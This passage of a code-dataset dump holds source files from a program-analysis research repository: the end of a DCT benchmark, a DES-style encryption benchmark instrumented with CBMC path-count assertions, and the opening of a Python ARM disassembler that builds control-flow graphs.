tmp7 = (tmp7 * constant); /* sqrt(2) * ( c1+c3-c5-c7) */\n constant = -7373;\n z1 = (z1 * constant); /* sqrt(2) * (c7-c3) */\n constant = -20995;\n z2 = (z2 * constant); /* sqrt(2) * (-c1-c3) */\n constant = -16069;\n z3 = (z3 * constant); /* sqrt(2) * (-c3-c5) */\n constant = -3196;\n z4 = (z4 * constant); /* sqrt(2) * (c5-c3) */\n\n z3 += z5;\n z4 += z5;\n\n block[7* lx ] = (tmp4 + z1 + z3) >> (CONST_BITS + PASS1_BITS + 3);\n block[5* lx ] = (tmp5 + z2 + z4) >> (CONST_BITS + PASS1_BITS + 3);\n block[3* lx ] = (tmp6 + z2 + z3) >> (CONST_BITS + PASS1_BITS + 3);\n block[lx] = (tmp7 + z1 + z4) >> (CONST_BITS + PASS1_BITS + 3);\n\n block++;\n }\n}\n\nint\nmain (int argc, char *argv[])\n{\n const int ARRAY_SIZE = 64;\n int TV[ARRAY_SIZE];\n int i;\n\n /*\n * 64 integers must be supplied\n */\n if (argc != ARRAY_SIZE + 1)\n {\n return 1;\n }\n\n for (i = 0; i < ARRAY_SIZE; ++i)\n {\n TV[i] = atoi (argv[i + 1]);\n }\n\n fdct (TV);\n\n return 0;\n}\n" }, { "alpha_fraction": 0.408564031124115, "alphanum_fraction": 0.5510250329971313, "avg_line_length": 29.342069625854492, "blob_id": "c9f13bc1816cf3dd1ab7991216873c837fb1f970", "content_id": "e805d069c0ec72495afcf2d491771115ddb2ce1f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 21999, "license_type": "no_license", "max_line_length": 102, "num_lines": 725, "path": "/DaikonPathInformation/benchmarks/embedded.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "typedef struct IMMENSE { unsigned long l, r; } immense;\ntypedef struct GREAT { unsigned long l, c, r; } great;\n\nunsigned long bit[33];\n\nstatic immense icd;\nstatic char ipc1[57]={0,57,49,41,33,25,17,9,1,58,50,\n 42,34,26,18,10,2,59,51,43,35,27,19,11,3,60,\n 52,44,36,63,55,47,39,31,23,15,7,62,54,46,38,\n 30,22,14,6,61,53,45,37,29,21,13,5,28,20,12,4};\nstatic char ipc2[49]={0,14,17,11,24,1,5,3,28,15,6,21,\n 10,23,19,12,4,26,8,16,7,27,20,13,2,41,52,31,\n 37,47,55,30,40,51,45,33,48,44,49,39,56,34,\n 53,46,42,50,36,29,32};\n\nunsigned long \ngetbit (immense source, int bitno, int nbits) {\n#ifdef CBMC\n//==========> getbit : header 16\nint __count_24 = 0;\nint __count_17_18 = 0;\nint __count_17_19 = 0;\nint __count_21_22 = 0;\nint __count_21_23 = 0;\n#endif\n\n if (bitno <= nbits) // 16\n {\n // 17\n #ifdef CBMC\n // TODO: check \n if(bit[bitno] & source.r)\n {\n __count_17_18++;\n __count_24++;\nassert(__count_21_22 <= 1); // Upper capacity constraint\nassert(__count_21_23 <= 1); // Upper capacity constraint\nassert(__count_17_18 <= 1); // Upper capacity constraint\nassert(__count_17_19 <= 1); // Upper capacity constraint\nassert(__count_24 >= 1); // Lower capacity constraint\nassert(__count_24 <= 1); // Upper capacity constraint\nassert(__count_17_18 > 0 ==> __count_24 > 0); // Execution dependence\nassert(__count_17_19 > 0 ==> __count_24 > 0); // Execution dependence\nassert(__count_21_22 > 0 ==> __count_24 > 0); // Execution dependence\nassert(__count_21_23 > 0 ==> __count_24 > 0); // Execution dependence\n return 1L;\n }\n else\n {\n __count_17_19++;\n __count_24++;\nassert(__count_21_22 <= 1); // Upper capacity constraint\nassert(__count_21_23 <= 1); // Upper capacity constraint\nassert(__count_17_18 <= 1); // Upper capacity constraint\nassert(__count_17_19 <= 1); // Upper capacity constraint\nassert(__count_24 >= 1); // Lower capacity constraint\nassert(__count_24 <= 1); // Upper capacity constraint\nassert(__count_17_18 > 0 ==> __count_24 > 0); // Execution dependence\nassert(__count_17_19 > 0 ==> __count_24 > 0); // Execution dependence\nassert(__count_21_22 > 0 ==> __count_24 > 0); // Execution dependence\nassert(__count_21_23 > 0 ==> __count_24 > 0); // Execution dependence\n return 0L;\n }\n #else\n return bit[bitno] & source.r ? 1L : 0L;\n #endif\n }\n else\n {\n // 21\n #ifdef CBMC\n // TODO: check\n if (bit[bitno-nbits] & source.l)\n {\n __count_21_22++;\n __count_24++;\nassert(__count_21_22 <= 1); // Upper capacity constraint\nassert(__count_21_23 <= 1); // Upper capacity constraint\nassert(__count_17_18 <= 1); // Upper capacity constraint\nassert(__count_17_19 <= 1); // Upper capacity constraint\nassert(__count_24 >= 1); // Lower capacity constraint\nassert(__count_24 <= 1); // Upper capacity constraint\nassert(__count_17_18 > 0 ==> __count_24 > 0); // Execution dependence\nassert(__count_17_19 > 0 ==> __count_24 > 0); // Execution dependence\nassert(__count_21_22 > 0 ==> __count_24 > 0); // Execution dependence\nassert(__count_21_23 > 0 ==> __count_24 > 0); // Execution dependence\n return 1L;\n }\n else\n {\n __count_21_23++;\n __count_24++;\nassert(__count_21_22 <= 1); // Upper capacity constraint\nassert(__count_21_23 <= 1); // Upper capacity constraint\nassert(__count_17_18 <= 1); // Upper capacity constraint\nassert(__count_17_19 <= 1); // Upper capacity constraint\nassert(__count_24 >= 1); // Lower capacity constraint\nassert(__count_24 <= 1); // Upper capacity constraint\nassert(__count_17_18 > 0 ==> __count_24 > 0); // Execution dependence\nassert(__count_17_19 > 0 ==> __count_24 > 0); // Execution dependence\nassert(__count_21_22 > 0 ==> __count_24 > 0); // Execution dependence\nassert(__count_21_23 > 0 ==> __count_24 > 0); // Execution dependence\n return 0L;\n }\n #else\n return bit[bitno-nbits] & source.l ? 1L : 0L;\n #endif\n }\n}\n \nvoid \nks (int n, great * kn) \n{\n#ifdef CBMC\n//==========> ks : header 8\nint __count_8_7 = 0;\nint __count_8_7_L = 0; //Loop counter\n//==========> ks : header 14\nint __count_10_11 = 0;\nint __count_14_10 = 0; //Loop counter\n//==========> ks : header 1\nint __count_15 = 0;\nint __count_1_5 = 0;\nint __count_2_5 = 0;\nint __count_3_5 = 0;\nint __count_4_5 = 0;\nint __count_8_9 = 0;\n#endif\n\n int i,j,k,l;\n\n if (n == 1 || n == 2 || n == 9 || n == 16) \n {\n #ifdef CBMC\n // TODO: check\n if (n == 1) __count_1_5++;\n else if (n == 2) __count_2_5++;\n else if (n == 9) __count_3_5++;\n else if (n == 16) __count_4_5++;\n #endif\n icd.r = (icd.r | ((icd.r & 1L) << 28)) >> 1;\n icd.l = (icd.l | ((icd.l & 1L) << 28)) >> 1;\n }\n else\n {\n #ifdef CBMC\n __count_8_7_L = 0;\n #endif\n for (i=1;i<=2;i++) // 8\n {\n #ifdef CBMC\n __count_8_7_L++;\n __count_8_7++;\n #endif\n icd.r = (icd.r | ((icd.r & 1L) << 28)) >> 1;\n icd.l = (icd.l | ((icd.l & 1L) << 28)) >> 1;\n }\n #ifdef CBMC\n assert(__count_8_7_L <= 3); // Loop counter property\n __count_8_9++;\n #endif\n } \n \n (*kn).r=(*kn).c=(*kn).l=0;\n #ifdef CBMC\n __count_14_10 = 0;\n #endif\n for (j=16,k=32,l=48; j>=1; j--,k--,l--) // 14\n {\n #ifdef CBMC\n __count_14_10++;\n #endif\n (*kn).r=((*kn).r <<= 1) | (unsigned short) getbit(icd,ipc2[j],28);\n (*kn).c=((*kn).c <<= 1) | (unsigned short) getbit(icd,ipc2[k],28);\n (*kn).l=((*kn).l <<= 1) | (unsigned short) getbit(icd,ipc2[l],28);\n #ifdef CBMC\n __count_10_11++;\n #endif\n }\n #ifdef CBMC\n assert(__count_14_10 <= 17); // Loop counter property\n __count_15++;\n #endif\n\n\n#ifdef CBMC\nassert(__count_15 >= 1); // Lower capacity constraint\nassert(__count_15 <= 1); // Upper capacity constraint\nassert(__count_1_5 <= 1); // Upper capacity constraint\nassert(__count_2_5 <= 1); // Upper capacity constraint\nassert(__count_3_5 <= 1); // Upper capacity constraint\nassert(__count_4_5 <= 1); // Upper capacity constraint\nassert(__count_8_9 <= 1); // Upper capacity constraint\nassert(__count_8_7 <= 2); // Upper capacity constraint\nassert(__count_10_11 >= 16); // Lower capacity constraint\nassert(__count_10_11 <= 16); // Upper capacity constraint\nassert(__count_8_9 > 0 ==> __count_8_7 > 0); // Mutual inclusion\nassert(__count_8_7 > 0 ==> __count_8_9 > 0); // Mutual inclusion\nassert(__count_1_5 > 0 ==> __count_15 > 0); // Execution dependence\nassert(__count_1_5 > 0 ==> __count_10_11 > 0); // Execution dependence\nassert(__count_2_5 > 0 ==> __count_15 > 0); // Execution dependence\nassert(__count_2_5 > 0 ==> __count_10_11 > 0); // Execution dependence\nassert(__count_3_5 > 0 ==> __count_15 > 0); // Execution dependence\nassert(__count_3_5 > 0 ==> __count_10_11 > 0); // Execution dependence\nassert(__count_4_5 > 0 ==> __count_15 > 0); // Execution dependence\nassert(__count_4_5 > 0 ==> __count_10_11 > 0); // Execution dependence\nassert(__count_8_9 > 0 ==> __count_15 > 0); // Execution dependence\nassert(__count_8_9 > 0 ==> __count_10_11 > 0); // Execution dependence\nassert(__count_8_7 > 0 ==> __count_15 > 0); // Execution dependence\nassert(__count_8_7 > 0 ==> __count_10_11 > 0); // Execution dependence\n#endif\n}\n\nvoid \ncyfun (unsigned long ir, great k, unsigned long * iout) \n{\n#ifdef CBMC\n//==========> cyfun : header 48\nint __count_44_45 = 0;\nint __count_44_46 = 0;\nint __count_48_44 = 0; //Loop counter\n//==========> cyfun : header 42\nint __count_42_41 = 0;\nint __count_42_41_L = 0; //Loop counter\n//==========> cyfun : header 39\nint __count_39_38 = 0;\nint __count_39_38_L = 0; //Loop counter\n//==========> cyfun : header 36\nint __count_27_29 = 0;\nint __count_28_29 = 0;\nint __count_29_30 = 0;\nint __count_29_31 = 0;\nint __count_32_33 = 0;\nint __count_32_34 = 0;\nint __count_36_26 = 0; //Loop counter\n//==========> cyfun : header 25\nint __count_49 = 0;\nint __count_36_37 = 0;\n#endif\n\n static char iet[49]={0,32,1,2,3,4,5,4,5,6,7,8,9,8,9,\n 10,11,12,13,12,13,14,15,16,17,16,17,18,19,\n 20,21,20,21,22,23,24,25,24,25,26,27,28,29,\n 28,29,30,31,32,1};\n static char ipp[33]={0,16,7,20,21,29,12,28,17,1,15,\n 23,26,5,18,31,10,2,8,24,14,32,27,3,9,19,13,\n 30,6,22,11,4,25};\n static char is[16][4][9]={\n 0,14,15,10,7,2,12,4,13,0,0,3,13,13,14,10,13,1,\n 0,4,0,13,10,4,9,1,7,0,15,13,1,3,11,4,6,2,\n 0,4,1,0,13,12,1,11,2,0,15,13,7,8,11,15,0,15,\n 0,1,14,6,6,2,14,4,11,0,12,8,10,15,8,3,11,1,\n 0,13,8,9,14,4,10,2,8,0,7,4,0,11,2,4,11,13,\n 0,14,7,4,9,1,15,11,4,0,8,10,13,0,12,2,13,14,\n 0,1,14,14,3,1,15,14,4,0,4,7,9,5,12,2,7,8,\n 0,8,11,9,0,11,5,13,1,0,2,1,0,6,7,12,8,7,\n 0,2,6,6,0,7,9,15,6,0,14,15,3,6,4,7,4,10,\n 0,13,10,8,12,10,2,12,9,0,4,3,6,10,1,9,1,4,\n 0,15,11,3,6,10,2,0,15,0,2,2,4,15,7,12,9,3,\n 0,6,4,15,11,13,8,3,12,0,9,15,9,1,14,5,4,10,\n 0,11,3,15,9,11,6,8,11,0,13,8,6,0,13,9,1,7,\n 0,2,13,3,7,7,12,7,14,0,1,4,8,13,2,15,10,8,\n 0,8,4,5,10,6,8,13,1,0,1,14,10,3,1,5,10,4,\n 0,11,1,0,13,8,3,14,2,0,7,2,7,8,13,10,7,13,\n 0,3,9,1,1,8,0,3,10,0,10,12,2,4,5,6,14,12,\n 0,15,5,11,15,15,7,10,0,0,5,11,4,9,6,11,9,15,\n 0,10,7,13,2,5,13,12,9,0,6,0,8,7,0,1,3,5,\n 0,12,8,1,1,9,0,15,6,0,11,6,15,4,15,14,5,12,\n 0,6,2,12,8,3,3,9,3,0,12,1,5,2,15,13,5,6,\n 0,9,12,2,3,12,4,6,10,0,3,7,14,5,0,1,0,9,\n 0,12,13,7,5,15,4,7,14,0,11,10,14,12,10,14,12,11,\n 0,7,6,12,14,5,10,8,13,0,14,12,3,11,9,7,15,0,\n 0,5,12,11,11,13,14,5,5,0,9,6,12,1,3,0,2,0,\n 0,3,9,5,5,6,1,0,15,0,10,0,11,12,10,6,14,3,\n 0,9,0,4,12,0,7,10,0,0,5,9,11,10,9,11,15,14,\n 0,10,3,10,2,3,13,5,3,0,0,5,5,7,4,0,2,5,\n 0,0,5,2,4,14,5,6,12,0,3,11,15,14,8,3,8,9,\n 0,5,2,14,8,0,11,9,5,0,6,14,2,2,5,8,3,6,\n 0,7,10,8,15,9,11,1,7,0,8,5,1,9,6,8,6,2,\n 0,0,15,7,4,14,6,2,8,0,13,9,12,14,3,13,12,11};\n static char ibin[16]={0,8,4,12,2,10,6,14,1,9,5,13,3,11,7,15};\n great ie;\n unsigned long itmp,ietmp1,ietmp2;\n char iec[9];\n int jj,irow,icol,iss,j,l,m;\n unsigned long *p;\n\n p = bit;\n ie.r=ie.c=ie.l=0;\n #ifdef CBMC\n __count_36_26 = 0;\n #endif\n for (j=16,l=32,m=48;j>=1;j--,l--,m--) // 36\n {\n #ifdef CBMC\n __count_36_26++;\n #endif\n\n #ifdef CBMC\n // TODO: check\n if (p[iet[j]] & ir) // 26\n {\n ie.r = (ie.r <<=1) | 1; // 27\n __count_27_29++;\n }\n else\n {\n ie.r = (ie.r <<=1) | 0; // 28\n __count_28_29++;\n }\n #else\n ie.r = (ie.r <<=1) | (p[iet[j]] & ir ? 1 : 0);\n #endif\n\n #ifdef CBMC\n if (p[iet[l]] & ir) // 29\n {\n __count_29_30++;\n ie.c = (ie.c <<=1) | 1; //30\n }\n else\n {\n __count_29_31++;\n ie.c = (ie.c <<=1) | 0; // 31\n }\n #else\n ie.c = (ie.c <<=1) | (p[iet[l]] & ir ? 1 : 0);\n #endif\n\n #ifdef CBMC\n if (p[iet[m]] & ir) // 32\n {\n ie.l = (ie.l <<=1) | 1; // 33\n __count_32_33++;\n }\n else\n {\n ie.l = (ie.l <<=1) | 0; // 34\n __count_32_34++;\n }\n #else\n ie.l = (ie.l <<=1) | (p[iet[m]] & ir ? 1 : 0);\n #endif\n }\n #ifdef CBMC\n assert(__count_36_26 <= 17); // Loop counter property\n __count_36_37++;\n #endif\n \n ie.r ^= k.r;\n ie.c ^= k.c;\n ie.l ^= k.l;\n ietmp1=((unsigned long) ie.c << 16)+(unsigned long) ie.r;\n ietmp2=((unsigned long) ie.l << 8)+((unsigned long) ie.c >> 8);\n \n #ifdef CBMC\n __count_39_38_L = 0;\n #endif\n for (j=1,m=5;j<=4;j++,m++) // 39\n {\n #ifdef CBMC\n __count_39_38_L++;\n __count_39_38++;\n #endif\n iec[j]=ietmp1 & 0x3fL;\n iec[m]=ietmp2 & 0x3fL;\n ietmp1 >>= 6;\n ietmp2 >>= 6;\n }\n #ifdef CBMC\n assert(__count_39_38_L <= 5); // Loop counter property\n #endif\n \n itmp=0L;\n #ifdef CBMC\n __count_42_41_L = 0;\n #endif\n for (jj=8;jj>=1;jj--) // 42\n {\n #ifdef CBMC\n __count_42_41_L++;\n __count_42_41++;\n #endif\n j =iec[jj];\n irow=((j & 0x1) << 1)+((j & 0x20) >> 5);\n icol=((j & 0x2) << 2)+(j & 0x4) +((j & 0x8) >> 2)+((j & 0x10) >> 4);\n iss=is[icol][irow][jj];\n itmp = (itmp <<= 4) | ibin[iss];\n }\n #ifdef CBMC\n assert(__count_42_41_L <= 9); // Loop counter property\n #endif\n \n *iout=0L;\n p = bit;\n #ifdef CBMC\n __count_48_44 = 0;\n #endif\n for (j=32; j>=1;j--) // 48\n {\n #ifdef CBMC\n __count_48_44++;\n #endif\n #ifdef CBMC\n // TODO: check\n if(p[ipp[j]] & itmp) // 44\n {\n __count_44_45++;\n *iout = (*iout <<= 1) | 1; // 45\n }\n else\n {\n __count_44_46++;\n *iout = (*iout <<= 1) | 0; // 46\n }\n #else\n *iout = (*iout <<= 1) | (p[ipp[j]] & itmp ? 1 : 0);\n #endif\n }\n #ifdef CBMC\n assert(__count_48_44 <= 33); // Loop counter property\n __count_49++;\n #endif\n\n#ifdef CBMC\nassert(__count_27_29 <= 16); // Upper capacity constraint\nassert(__count_28_29 <= 16); // Upper capacity constraint\nassert(__count_29_30 <= 16); // Upper capacity constraint\nassert(__count_29_31 <= 16); // Upper capacity constraint\n//assert(__count_32_33 <= 15); // Upper capacity constraint\nassert(__count_32_34 >= 1); // Lower capacity constraint\nassert(__count_32_34 <= 16); // Upper capacity constraint\nassert(__count_36_37 >= 1); // Lower capacity constraint\nassert(__count_36_37 <= 1); // Upper capacity constraint\nassert(__count_49 >= 1); // Lower capacity constraint\nassert(__count_49 <= 1); // Upper capacity constraint\n//assert(__count_44_45 >= 8); // Lower capacity constraint\n//assert(__count_44_45 <= 23); // Upper capacity constraint\n//assert(__count_44_46 >= 9); // Lower capacity constraint\n//assert(__count_44_46 <= 24); // Upper capacity constraint\nassert(__count_42_41 >= 8); // Lower capacity constraint\nassert(__count_42_41 <= 8); // Upper capacity constraint\nassert(__count_39_38 >= 4); // Lower capacity constraint\nassert(__count_39_38 <= 4); // Upper capacity constraint\nassert(__count_27_29 > 0 ==> __count_32_34 > 0); // Execution dependence\nassert(__count_27_29 > 0 ==> __count_36_37 > 0); // Execution dependence\nassert(__count_27_29 > 0 ==> __count_39_38 > 0); // Execution dependence\nassert(__count_27_29 > 0 ==> __count_42_41 > 0); // Execution dependence\nassert(__count_27_29 > 0 ==> __count_49 > 0); // Execution dependence\nassert(__count_27_29 > 0 ==> __count_44_45 > 0); // Execution dependence\nassert(__count_27_29 > 0 ==> __count_44_46 > 0); // Execution dependence\nassert(__count_28_29 > 0 ==> __count_32_34 > 0); // Execution dependence\nassert(__count_28_29 > 0 ==> __count_36_37 > 0); // Execution dependence\nassert(__count_28_29 > 0 ==> __count_39_38 > 0); // Execution dependence\nassert(__count_28_29 > 0 ==> __count_42_41 > 0); // Execution dependence\nassert(__count_28_29 > 0 ==> __count_49 > 0); // Execution dependence\nassert(__count_28_29 > 0 ==> __count_44_45 > 0); // Execution dependence\nassert(__count_28_29 > 0 ==> __count_44_46 > 0); // Execution dependence\nassert(__count_29_30 > 0 ==> __count_32_34 > 0); // Execution dependence\nassert(__count_29_30 > 0 ==> __count_36_37 > 0); // Execution dependence\nassert(__count_29_30 > 0 ==> __count_39_38 > 0); // Execution dependence\nassert(__count_29_30 > 0 ==> __count_42_41 > 0); // Execution dependence\nassert(__count_29_30 > 0 ==> __count_49 > 0); // Execution dependence\nassert(__count_29_30 > 0 ==> __count_44_45 > 0); // Execution dependence\nassert(__count_29_30 > 0 ==> __count_44_46 > 0); // Execution dependence\nassert(__count_29_31 > 0 ==> __count_32_34 > 0); // Execution dependence\nassert(__count_29_31 > 0 ==> __count_36_37 > 0); // Execution dependence\nassert(__count_29_31 > 0 ==> __count_39_38 > 0); // Execution dependence\nassert(__count_29_31 > 0 ==> __count_42_41 > 0); // Execution dependence\nassert(__count_29_31 > 0 ==> __count_49 > 0); // Execution dependence\nassert(__count_29_31 > 0 ==> __count_44_45 > 0); // Execution dependence\nassert(__count_29_31 > 0 ==> __count_44_46 > 0); // Execution dependence\nassert(__count_32_33 > 0 ==> __count_32_34 > 0); // Execution dependence\nassert(__count_32_33 > 0 ==> __count_36_37 > 0); // Execution dependence\nassert(__count_32_33 > 0 ==> __count_39_38 > 0); // Execution dependence\nassert(__count_32_33 > 0 ==> __count_42_41 > 0); // Execution dependence\nassert(__count_32_33 > 0 ==> __count_49 > 0); // Execution dependence\nassert(__count_32_33 > 0 ==> __count_44_45 > 0); // Execution dependence\nassert(__count_32_33 > 0 ==> __count_44_46 > 0); // Execution dependence\n#endif\n\n}\n \nint \nembedded (immense inp, immense key, int * newkey, int isw, immense * out) \n{\n#ifdef CBMC\n//==========> embedded : header 63\nint __count_61_62 = 0;\nint __count_63_61 = 0; //Loop counter\n//==========> embedded : header 59\nint __count_56_57 = 0;\nint __count_59_56 = 0; //Loop counter\n//==========> embedded : header 80\nint __count_80_77 = 0;\nint __count_80_77_L = 0; //Loop counter\n//==========> embedded : header 75\nint __count_70_71 = 0;\nint __count_70_72 = 0;\nint __count_75_70 = 0; //Loop counter\n//==========> embedded : header 53\nint __count_53_52 = 0;\nint __count_53_52_L = 0; //Loop counter\n//==========> embedded : header 68\nint __count_68_65 = 0;\nint __count_68_65_L = 0; //Loop counter\n//==========> embedded : header 50\nint __count_81 = 0;\nint __count_50_54 = 0;\nint __count_53_54 = 0;\nint __count_54_64 = 0;\nint __count_59_60 = 0;\n#endif\n static char ip[65] =\n {0,58,50,42,34,26,18,10,2,60,52,44,36,\n 28,20,12,4,62,54,46,38,30,22,14,6,64,56,48,40,\n 32,24,16,8,57,49,41,33,25,17,9,1,59,51,43,35,\n 27,19,11,3,61,53,45,37,29,21,13,5,63,55,47,39,\n 31,23,15,7};\n static char ipm[65]=\n {0,40,8,48,16,56,24,64,32,39,7,47,15,\n 55,23,63,31,38,6,46,14,54,22,62,30,37,5,45,13,\n 53,21,61,29,36,4,44,12,52,20,60,28,35,3,43,11,\n 51,19,59,27,34,2,42,10,50,18,58,26,33,1,41,9,\n 49,17,57,25};\n static great kns[17];\n static int initflag=1;\n int ii,i,j,k;\n unsigned long ic,shifter,getbit();\n immense itmp;\n great pg;\n\n if (initflag) // 50\n {\n initflag=0;\n bit[1]=shifter=1L;\n #ifdef CBMC\n __count_53_52_L = 0;\n #endif\n for(j=2;j<=32;j++) // 53\n {\n #ifdef CBMC\n __count_53_52_L++;\n __count_53_52++;\n #endif\n bit[j] = (shifter <<= 1);\n }\n #ifdef CBMC\n assert(__count_53_52_L <= 32); // Loop counter property\n __count_53_54++;\n #endif\n }\n #ifdef CBMC\n else __count_50_54++;\n #endif\n \n if (*newkey) // 54\n {\n *newkey=0;\n icd.r=icd.l=0L;\n #ifdef CBMC\n __count_59_56 = 0;\n #endif\n for (j=28,k=56;j>=1;j--,k--) // 59\n {\n #ifdef CBMC\n __count_59_56++;\n __count_56_57++;\n #endif\n icd.r = (icd.r <<= 1) | getbit(key,ipc1[j],32);\n icd.l = (icd.l <<= 1) | getbit(key,ipc1[k],32);\n }\n #ifdef CBMC\n assert(__count_59_56 <= 29); // Loop counter property\n __count_59_60++;\n #endif\n\n #ifdef CBMC\n __count_63_61 = 0;\n #endif\n for (i=1; i<=16;i++) // 63\n { \n #ifdef CBMC\n __count_63_61++;\n __count_61_62++;\n #endif\n //62\n pg = kns[i]; ks(/* key,*/ i, &pg); kns[i] = pg;\n }\n #ifdef CBMC\n assert(__count_63_61 <= 17); // Loop counter property\n #endif\n }\n #ifdef CBMC\n __count_54_64++;\n #endif\n \n itmp.r=itmp.l=0L;\n \n #ifdef CBMC\n __count_68_65_L = 0;\n #endif\n for (j=32,k=64;j>=1;j--,k--) // 68\n {\n #ifdef CBMC\n __count_68_65_L++;\n __count_68_65++;\n #endif\n itmp.r = (itmp.r <<= 1) | getbit(inp,ip[j],32);\n itmp.l = (itmp.l <<= 1) | getbit(inp,ip[k],32);\n }\n #ifdef CBMC\n assert(__count_68_65_L <= 33); // Loop counter property\n #endif\n \n #ifdef CBMC\n __count_75_70 = 0;\n #endif\n for (i=1;i<=16;i++) // 75\n {\n #ifdef CBMC\n __count_75_70++;\n // TODO: check \n if(isw == 1)\n {\n ii = 17-i; // 71\n __count_70_71++;\n }\n else\n {\n ii = i; // 72\n __count_70_72++;\n }\n #else\n ii = (isw == 1 ? 17-i : i);\n #endif\n cyfun(itmp.l, kns[ii], &ic);\n ic ^= itmp.r;\n itmp.r=itmp.l;\n itmp.l=ic;\n }\n #ifdef CBMC\n assert(__count_75_70 <= 17); // Loop counter property\n #endif\n \n ic=itmp.r;\n itmp.r=itmp.l;\n itmp.l=ic;\n (*out).r=(*out).l=0L;\n \n #ifdef CBMC\n __count_80_77_L = 0;\n #endif\n for (j=32,k=64; j >= 1; j--, k--) // 80\n {\n #ifdef CBMC\n __count_80_77_L++;\n __count_80_77++;\n #endif\n (*out).r = ((*out).r <<= 1) | getbit(itmp,ipm[j],32);\n (*out).l = ((*out).l <<= 1) | getbit(itmp,ipm[k],32);\n }\n #ifdef CBMC\n assert(__count_80_77_L <= 33); // Loop counter property\n #endif\n \n #ifdef CBMC\n __count_81++;\n #endif\n\n#ifdef CBMC\nassert(__count_50_54 == 0); // Dead code\nassert(__count_53_52 >= 31); // Lower capacity constraint\nassert(__count_53_52 <= 31); // Upper capacity constraint\nassert(__count_53_54 >= 1); // Lower capacity constraint\nassert(__count_53_54 <= 1); // Upper capacity constraint\n//assert(__count_54_64 == 0); // Dead code\nassert(__count_80_77 >= 32); // Lower capacity constraint\nassert(__count_80_77 <= 32); // Upper capacity constraint\nassert(__count_56_57 >= 28); // Lower capacity constraint\nassert(__count_56_57 <= 28); // Upper capacity constraint\nassert(__count_59_60 >= 1); // Lower capacity constraint\nassert(__count_59_60 <= 1); // Upper capacity constraint\nassert(__count_61_62 >= 16); // Lower capacity constraint\nassert(__count_61_62 <= 16); // Upper capacity constraint\nassert(__count_81 >= 1); // Lower capacity constraint\nassert(__count_81 <= 1); // Upper capacity constraint\nassert(__count_68_65 >= 32); // Lower capacity constraint\nassert(__count_68_65 <= 32); // Upper capacity constraint\n//assert(__count_70_72 >= 16); // Lower capacity constraint\nassert(__count_70_72 <= 16); // Upper capacity constraint\n//assert(__count_70_71 == 0); // Dead code\n#endif\n\n return *newkey;\n}\n\nint \nmain (int argc, char *argv[])\n{ \n /*\n * Six values must be supplied: unsigned long, unsigned long, unsigned long, unsigned long, int, int\n */\n if (argc != 7)\n {\n return 1;\n }\n \n int newkey, isw;\n immense inp, key, out;\n \n inp.l = atol(argv[1]);\n inp.r = atol(argv[2]);\n key.l = atol(argv[3]);\n key.r = atol(argv[4]);\n newkey = atoi(argv[5]);\n isw = atoi(argv[6]); \n // Adam Betts: 'newkey' needs to be set to 1 to trigger a conditional in 'embedded'\n // Similarly for 'isw' \n\n int val = embedded(inp, key, &newkey, isw, &out);\n printf(\"%d\", val);\n \n return 0;\n}\n\n" }, { "alpha_fraction": 0.5113486051559448, "alphanum_fraction": 0.5158880949020386, "avg_line_length": 57.592594146728516, "blob_id": "d44a3c0e901d81f66c779ff5473c3f77c2ad9562", "content_id": "69bfd6978e993edefa40ab6e3451fca422a01074", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 17403, "license_type": "no_license", "max_line_length": 194, "num_lines": 297, "path": "/DaikonPathInformation/src/arm.py", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "import debug\nimport directed_graphs\nimport programs\nimport vertices\nimport utils\nimport re\nimport shlex\n\nclass InstructionSet:\n Nops = ['nop', 'nop.n', 'nop.w']\n PCRegister = 'pc'\n Call = 'bl'\n UnconditionalJumps = ['b', 'b.n', 'b.w']\n LoadInstructions = ['ldr', 'ldr.n', 'ldr.w', 'tbh', 'tbb']\n Branches = ['b',\n 'bl',\n 'bcc',\n 'bcs',\n 'beq',\n 'bge',\n 'bgt',\n 'bhi',\n 'ble',\n 'bls',\n 'blt',\n 'bmi',\n 'bne',\n 'bpl',\n 'bvs',\n 'bvc',\n 'b.n',\n 'b.w',\n 'bcc.n',\n 'bcc.w',\n 'bcs.n',\n 'bcs.w',\n 'beq.n',\n 'beq.w',\n 'bge.n',\n 'bge.w',\n 'bgt.n',\n 'bgt.w',\n 'bhi.n',\n 'bhi.w',\n 'ble.n',\n 'ble.w',\n 'bls.n',\n 'bls.w',\n 'blt.n',\n 'blt.w',\n 'bne.n',\n 'bne.w'] \n\nclass Disassembler:\n def __init__(self, filename, root_function):\n self.start_address_to_function = {}\n self.last_address_to_function = {}\n self.jump_table_to_directives = {}\n self.function_to_instructions = {}\n self.function_to_start_address = {}\n self.function_to_last_address = {}\n self.function_to_leaders = {}\n self.function_to_directives = {}\n self.function_to_jump_table_basic_blocks = {}\n self.instruction_to_basic_block = {}\n self.next_vertexID = 1\n self.program = programs.Program()\n self.do_it(filename, root_function)\n \n def do_it(self, filename, root_function):\n self.extract_instructions(filename)\n self.identify_call_graph(root_function)\n self.identify_leaders()\n self.create_basic_blocks()\n self.add_edges()\n self.add_jump_table_edges()\n self.program.callg.rootID = self.program.callg.get_vertex_with_name(root_function).vertexID\n for cfg in self.program.cfgs.values():\n cfg.set_entry_and_exit()\n self.program.remove_problematic_functions()\n \n def extract_instructions(self, filename):\n with open(filename, 'r') as f:\n parse = False\n last_instruction = None\n last_jump_table_instruction = None\n current_function = None\n for line in f:\n if parse:\n if re.match(r'[0-9a-fA-F]+\\s<.*>.*', line):\n if last_instruction:\n assert current_function, \"No function detected yet\"\n self.function_to_last_address[current_function] = last_instruction.address\n self.last_address_to_function[last_instruction.address] = current_function \n lexemes = shlex.split(line)\n assert len(lexemes) == 2, \"Unable to handle disassembly line %s\" % line\n address = int(lexemes[0], 16)\n function_name = lexemes[1][1:-2]\n debug.debug_message(\"Detected function '%s' @ start address %d\" % (function_name, address), __name__, 10)\n self.start_address_to_function[address] = function_name\n current_function = function_name\n self.function_to_instructions[current_function] = []\n self.function_to_directives[current_function] = []\n self.function_to_start_address[current_function] = address\n self.function_to_jump_table_basic_blocks[current_function] = []\n last_jump_table_instruction = None\n elif re.match(r'\\s*[0-9a-fA-F]+:.*', line):\n # Ignore directives reserving space for data\n if '.word' not in line and '.short' not in line and '.byte' not in line: \n instruction = vertices.BasicBlock.Instruction.get_instruction(line)\n self.function_to_instructions[current_function].append(instruction)\n last_instruction = instruction\n if self.is_jump_table_branch(instruction):\n last_jump_table_instruction = 